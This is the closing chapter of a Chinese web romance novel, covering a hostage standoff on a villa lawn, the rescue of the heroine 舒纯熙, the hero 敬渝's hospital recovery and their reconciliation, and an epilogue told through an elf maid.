监控里的男人看见这不遵守自己要求的一幕,瞪大眼睛看清楚后,才有些气急败坏地打开聊天框,发出自己的声音,说: “敬渝你干什么,为什么要把我父母抓回来?” 父亲曾经跟他说过,大伯临死之前留有遗言,此生不许自己回国。 所以,他从来没想过,一向恪守族训的敬渝,竟然敢公然无视敬永安留下来的遗言! 一族之长无视父亲的遗言,这得是多不孝的举动? 而轮椅上的男人脸上没有一点波澜,只是按下说话键,轻声说: “敬亭,我不想计较别的,你把纯熙放了,我把你父母还给你,你不吃亏。” 闻言,敬亭反而不着急了。 威胁人么,谁不会? 现在就看到底谁更在乎对方手里的筹码了。 他以为装模作样地挟持了自己的父母,自己就会乖乖听话? 诚然,那是自己的父母,但就不是敬渝的小叔小婶了吗? 再反观自己。 敬亭勾唇笑起来,示意保镖在一旁排成两列准备好,他则一把擒住双手被缚在身后的女人,被人围绕着走出别墅,走到了草坪上面。 顶灯投下惨白的光芒,一切都看上去失去了色彩。 舒纯熙被拽着走了一路,又停下来,望向那个十几步开外的坐在轮椅上面的身影,鼻子总算一酸。 显然,那人也看见了她,似乎扬了扬唇,冲她微笑着。 女人看得恍惚,但眼睛越发酸涩,她眨了又眨,仰头猛地吸了下鼻子。 “敬渝,你可没有提要求的资格,” 敬亭看这暗波流转,心底一阵凉意,将舒纯熙拉到自己身前,近乎从后面拥抱住她。 “我不会伤害纯熙,但是我要你死!你了结自己,往后我自然会好好对待纯熙的。” 语罢,男人偏过头拍了拍舒纯熙的脸,跟她亲昵地抵在一块儿,说: “你求求你敬渝哥哥,让他放了你公公婆婆,再成全我们,嗯?” 舒纯熙咬唇,嫌恶地盯着敬亭的眼睛。 而对面,敬佟跟林溪听见儿子的话,一时间脸上青一阵紫一阵的。 “你胡说什么,你这个逆子到底想干什么?快放了纯熙,再跟你大哥道个歉,你哥他是不会跟你计较的!” 敬亭被父亲的话吸引了注意力,直起身望着前方,只是说: “怎么样敬渝,你考虑好了吗?” “你为什么一定要我死?” 沉默的男人忽然出声,问了一句。 “废话,要是你不死,哪里轮得着我接手公司?再说了,你不死,我们纯熙的心也就死不了不是?” 对面一时之间陷入诡异的沉默之中,敬佟脸色逐渐涨红,只恨自己不能冲到前面去把敬亭给揪回来。 “哎,你这孩子,哎!” 敬佟无奈地跺了跺脚,怒吼道: “我和你妈妈就你一个孩子,我们在莫瑞恩尔的生意不都是你的吗,你为什么非要惦记你大哥的东西呢?” “因为我不是你!” 敬亭扬声回道,说: “莫瑞恩尔的暮帆商会,原本就只是欧罗洲的分部,如何能跟总部相提并论?! “您自己心甘情愿一辈子安于一隅,但我却不行!您非要跟大伯兄友弟恭,我却做不到处处低人一等。我即将继承的事业,是他敬渝看不上的蚊子腿肉。而我的女人呢,也是他不要的。凭什么,凭什么啊?” “就凭你不该肖想本就不属于你的东西。” 敬渝忽然开口,目光遥遥地落在站着的青年男人身上,漠然地说: “你对纯熙做过的事,我都知道了。敬亭,如果你还算是个男人,就不要再试图用言语伤害她。” “我怎么就是肖想不属于我的东西了,你父亲,是敬家的儿子,我父亲,也是敬家的儿子!我们谁又比谁高贵,谁又比谁下贱呢?!” 敬佟的难色已经难看到了极致,眼见着敬亭已经把事情越描越黑到逐渐不可挽回的地步,他捂住胸口,高声叫骂道: “你这个傻逼,我怎么不知道你什么时候生出了这样龌龊的心思,你简直是不知好歹,狼心狗肺的东西!” “父亲!” 敬亭整个人激动起来,不明白为什么敬佟要站在敬渝那边,这样地骂自己, “凭什么?我比他到底差在哪里,为什么公司就是他的,我什么都没有,啊?我不甘心,我不甘心!” 敬渝垂眸,沉默地望着膝上的毯子。 终于,身旁的中年男人忍无可忍,咬牙切齿地挤出一句话来,说: “那是因为,我根本就不是你爷爷的亲儿子!” 原本还在不安焦躁地喘着粗气的男人一震,以为自己听错了, “你说什……” “好了,” 敬渝抬头,面色平静地说: “事实你已经知道了。 “爷爷也是临终之前才得知这件事的,于是他命我父亲将小叔和你斩草除根,这便是他的遗言。” 然而,敬永安终究不忍,将暮帆商会在莫瑞恩尔的分部与总部分割开来,将敬佟一家原调到欧罗洲。 临终之前,他想起自己父亲的那个遗言,便将敬渝叫到了跟前,同他说,他死以后,敬佟不可回国奔丧,此生不得再踏入维尔亚半步。 只不过,敬永安虽然难舍拳拳爱子之心,担心尚年轻的敬渝坐不稳家主的位子,留下了这样的遗嘱,却没有将上一辈的秘密也告诉敬渝。 显然,当年他是想独自带着这件关于母亲的丑事入土的。 “大哥他以为他能瞒得住,他以为我一辈子都不会知道,但是,但是当我在离开凛洲之前突然遇到刺杀的时候我就知道了。如果不是大哥他顶住压力,坚持将我驱逐去莫瑞恩尔,可能我早就没命了……” 敬佟捂住头,悲戚地哭出声来,指着敬亭,哀莫大于心死地说: “我之所以不告诉你,除了跟我哥一样,想要维持我们母亲的体面外,还有,那就是希望你和敬渝,你们两个,我们的下一代,能像我和我大哥那样,你们是血浓于水的堂兄弟啊,怎么能心生嫉妒、自相残杀到这个地步呢?!” “不肖子孙,不肖子孙啊!” 舒纯熙感受得到,敬亭的身体正在抖,连带着拉着她的力度都小了下去。 只是下一息,他又忽然用力,掐住自己的脖子,说: “那也没办法了!我做的事他很快都会知道,无论如何,敬渝也不会放过我的,父亲,我覆水难收了,今天……不是他死就是我活!” “你指的是什么?” 敬渝慢条斯理地开口,说: “是从你伪造车祸开始后的所有布局,还是,撺掇了这次的爆炸?” “你果然都知道了,那我就没办法回头了!” 男人攥住舒纯熙的下巴仰起来,说: “你要是现在自裁,把暮帆商会留给我,我就放了她,不然,我就当着你的面掐死她,让你坐拥一整个敬家,但是孤独终生!不过我想,你应该舍不得吧?” “敬亭!” 敬渝骤然握住轮椅扶手,攥得指节发白,说: “你一点都不顾及你父母的性命了么?” “哈哈哈哈哈哈哈,敬渝,你是什么样的人,我难道不清楚吗?难不成,你还能手刃你的亲小叔吗?” 敬亭畅快大笑,如同疯魔,而敬渝偏过头,只是说了句“得罪了”。 保镖便走上前拔出匕首,快狠准地插在敬佟左边的大腿上。 鲜血汩汩流淌出来,敬佟惨叫一声,跪倒在地上,旁边的林溪连忙蹲下去扶住丈夫,尖叫了一声。 “儿子你快放开纯熙,别跟你大哥硬碰硬啊,你还看不明白吗,你大哥只是要纯熙好好的啊,你快把纯熙还给他,咱们一家三口不是还能好好的吗?快,快啊!” 眼见着保镖猛地将匕首从敬佟腿边扒出来,又扎上了另一条腿,敬亭怒吼了一声, “敬渝,你这个混蛋!” 但是手上,也确实迟疑地松开了舒纯熙。 说是迟那是快,一队隐在夜色里的人蓄势待发,从敬亭身后的别墅里冲出来,身姿矫健、动作狠厉,已然将男人身边的保镖都给控制住。 幻息也从后面的房子里紧张地跑了过来,在一个保镖和敬亭扭打起来的功夫,将舒纯熙连忙拉了过来挡在身后。 “幻息,你……” 女人劫后余生,惊喜地出声。 “太太,我,我遇见他们,将他们从小门放进来了。” 高瘦的精灵族女佣转过头来,小声地解释了一句。 两个人便趁着混乱连忙往对面跑。 而这边的早在看见自己安排的人冲出来的时候,就着急着想要推动轮椅,往某个惊魂未定的身影那边去。 只是他压根不熟悉轮椅,又使不上劲儿,好半天手都搓红了,柳叔才反应过来,连忙握上手柄往前推他。 两个人在半道上遇上,敬渝急着站起身来却不稳,“扑通”一声连带着身前的舒纯熙倒在地上。 还是女人撑了一下地,才将倒在自己身上的高大男人给扶住。 于是敬渝将头垂得愈发低了。 待舒纯熙稳住了身体,只见男人的耳朵连着面颊都泛起尴尬的红色。 “我,我……” 站都站不稳 ,也没有多余的力气。 敬渝揪住指尖,本就因强撑着说了那么多伤神的话而呼吸不畅,此刻更是气血上涌,只觉得羞也要羞死了。 果不其然,舒纯熙“咯咯”地凑在他耳边偷笑了两声。 敬渝试图深吸一口气,而后……猛地吐出了一口鲜血来,就这样晕了过去。 。 敬渝再醒来的时候,已经是第二天清晨。 托他自己如今这副身体的福,倒是能亲眼看见舒纯熙趴在他病床前面守着他的样子。 他动了动胳膊,试图从床上悄悄地爬起来。只是动静依旧有点大,立刻将睡梦中的女人给弄醒了。 惊醒的女人面上茫然带着点后怕,眼珠子一转,才终于移动头颅,跟男人深沉的目光对上。 轻“嘶”一声,是手臂酥麻的感觉后知后觉地传过来。 敬渝也终于坐起身来,向后随便靠在墙上,冲舒纯熙伸出手来,哑着嗓子说: “过来,我给你揉揉。” 女人也没扭捏,也坐上了病床,将自己的胳膊递给他。 男人的力气不知道恢复了多少,柔柔地捂着她胳膊揉捏着,垂头敛眸,动作无比认真仔细。 就这样,两手都被按得不再发麻后,舒纯熙收回了手。 两个靠得很近坐着的人,反而突然没了说话的由头一样,有点尴尬地杵在那里。 舒纯熙想了想,忽然转过头对着他脸颊亲了一口,然后又迅速转回了头。 被亲的人伸出手,小心翼翼地抚了抚自己的脸颊,努力挪动了一下身体朝她靠近,从后将她拥住。 “宝宝,我醒了,我回来了。” “嗯。” 女人揪着床单,有点敷衍地应了一声。 然后便被抱得紧了一点,悄悄地说: “对不起,我失约了,让你为我担心了,我错了,都是我不好。” 这次女人没应,敬渝便想伸手将她转过来,但她不配合,似是被扰得烦了,轻轻挥开自己的手,从床上起身,离开了他的怀抱。 “宝宝……” 敬渝又唤,语气听上去都有点可怜了。 舒纯熙一哽,这才利落地转过身来,用红红的眼睛幽幽地盯着他,说: “你还知道醒?你到底睡了多久你知不知道……这段时间,为了你那个鬼誓言,我连眼泪都不敢真的掉一滴下来,生怕你就这样死了。” 女人缓缓靠近过去,将自己的手给他牵着,委屈地说: “你一直在昏迷,我都不知道该怎么办才好了,我,我好害怕好难过……你要是死了,我也活不下去了,你到底知不知道?” 敬渝的心仿佛都被攥住,拉着她手将人拥进怀里抱得紧紧的,说: “我知道,我知道,都是我不好,我又让你伤心了。” 昏迷的时候,他仿佛是听到过她在自己耳边威胁着什么“你要是死了,我就罚你死掉”之类的话,那时候他尚且迷蒙的意识依旧吓了一大跳。 光是听到舒纯熙要罚他,就不知道该怎么办才好了,只想着“不能就这样死掉”了。 但是现在醒了一想,那句话又好像根本没有逻辑,怎么就将他给吓成那样了? “还有……混蛋王八蛋敬渝!你写那个遗嘱到底是什么意思,你早就想丢下我一个人去死是不是?” 头靠在男人明显更单薄的空荡的胸膛里面,女人皱起鼻子,继续翻着旧账。 “不许骗我,说!” 她才不信什么未雨绸缪呢,他分明就是…… 敬渝哑然失笑,拥着她轻轻地摇晃起来,在她耳边淡然地说: “我知道啊,所以我让人准备遗嘱的时候也没有什么负担,就是觉得……如果真的不小心就死掉了,那我仅有的那点东西都留给你,也算死得其所了。” 她闷在他怀里不说话了。 “纯熙,那些暗地里的阴谋,我不想再总是去考虑防备了。那时候我想,就算真的会死,也没什么的,至少这一次,我是真的遵从了自己的内心……” 怀里的女人抽泣起来,头缩着就是不愿意抬起来给他瞧。 敬亭的车祸完全是他自导自演,所以跟舒纯熙结婚才不会真的招致什么致命的危险。 但是敬渝却不一样,只要是敬渝要想跟舒纯熙永远在一起,他就是会有危险。 女人砸着一滴又一滴的眼泪,很快伸手抹去。 她想起敬亭,想起那场他自导自演,花费那么大精力也要做到天衣无缝的车祸,想起他们揣测着,如果他死了唯一的一个堂兄弟,会不会就此甘愿入局。 还将她再一次地推到敬渝的面前,赌一把或许这次,他就会为了一个她,以身犯险。 还有父亲,两次拿自己的婚事来试探威胁,要敬渝站队表态。 他们费尽心机,绞尽脑汁也要拉他下来蹚这趟浑水。 没人容得他中立,也没人容得他纤尘不染。 可偏偏这两个人,一个是他血浓于水的兄弟,另一个是他本该敬仰的岳丈。 两个最亲近的身边人,两个亲人,都只想着要他以身入局,要他用命去搏。 怀璧其罪。 女人执起男人的大掌,托在手上。 但敬亭和舒怀宁或许永远都不知道,他们以为的这个谨慎严肃、狠心冷情的男人,根本不是败在他们所谓完善的策略下。 甚至早在很久很久以前,他就愿意帮她,即使她转身选择了别人,他也没有改变主意,只是悄无声息地在暗中筹谋了很久,想要帮她挽回她的家。 他们都不知道,永远都不会知道。 但她知道。 她知道就好了。 舒纯熙终于扬起头,凝泪望着面前的男人。 这一次,他鬼门关里走了一回,只差一点点,她就要永远失去他了。 再如何,她也做不出来要把他像从前那样推开来的决定了。 如果,他们注定爱着彼此,而人生如此短暂,他们分开的那些时日,又何尝不是命运里的遗憾呢? 女人红着鼻尖,泪眼朦胧地望着身前的男人,主动抱住他脖颈,同他深深地吻住彼此。 。 几分钟后,舒纯熙推开身下的人,才发现敬渝的呼吸有些过度不稳,苍白的脸色涨得通红。 如果不是她发现了,恐怕还在“尽力”地吻着呢。 果不其然,男人合上双眼,又晕了过去。 医生来检查的时候,隐晦地望了一眼敬渝,又瞧了瞧舒纯熙,咳嗽两声,只好压低声音劝敬渝: “我知道,小别胜新婚嘛。但是呢,敬先生刚刚醒过来,有些事情还是要量力而行……量力而行哈。” 敬渝抿紧嘴唇,挤出来一个“嗯”字,然后在病房里一众医生与护士的注视之下,死寂般地闭上了自己的双眼。 心想还是再晕过去算了。 。 敬渝又在医院住了半个月,便转回家里继续休养。 舒纯熙也就从酒店搬出来,跟着他一起搬回了敬宅。 阳光明媚的秋日,玉兰花“咔哒”一声掉落焦黄酥脆的大叶子。 敬渝和舒纯熙并肩坐在秋千上,轻轻地规律晃动着。 女人因为连轴工作有些疲惫,压在他的肩上,没一会儿就陷入了梦乡。 男人则浅笑着,摩挲着爱人的手,回忆着今天夏天,他就是在这里,故作矜持地同她求了婚。 执起手,轻轻地落下了一吻,敬渝偏过头,又轻轻地将她腿上的毯子掖得更紧一些。 …… 不远处,正在收集松针准备做祈福仪式的幻息看得入了神,早忘了手里的材料,遥遥地注视着秋千上的舒纯熙和敬渝。 如今她在敬宅工作。 这个月来,她算是真切地认知到太太从前的那个未婚夫有多好了。 原来世上会有这样细心体贴的男人,会有这样心心相印的爱情。 不由得,幻息就有些鄙夷地想起那个正在监狱里,等待着被执行枪决的男人,也就是她的前雇主。 她觉得那人真是不懂得珍惜,像太太这么好的人,曾经又不是没有给过他机会,但他却根本把握不住。 大约他就是那种不懂得满足现状、永远埋怨着命运的人吧。 幻息叹了一口气,转过身去席地而坐,将松针摆好。 再合上手摆出一个手势,振振有词地用精灵语说: “太太,我将祝福送给你,时时刻刻替您祈祷您的幸福。宁啊,宁啊,松树神会保佑您的。” 说完,女人心满意足地睁开眼,得意地笑了笑。 她就说嘛, 自己的祝福魔法怎么会没有效果呢,果然还是因为没有祝福对人。 看吧,换了一个,效果就好极了! —正文完—【你现在阅读的是 】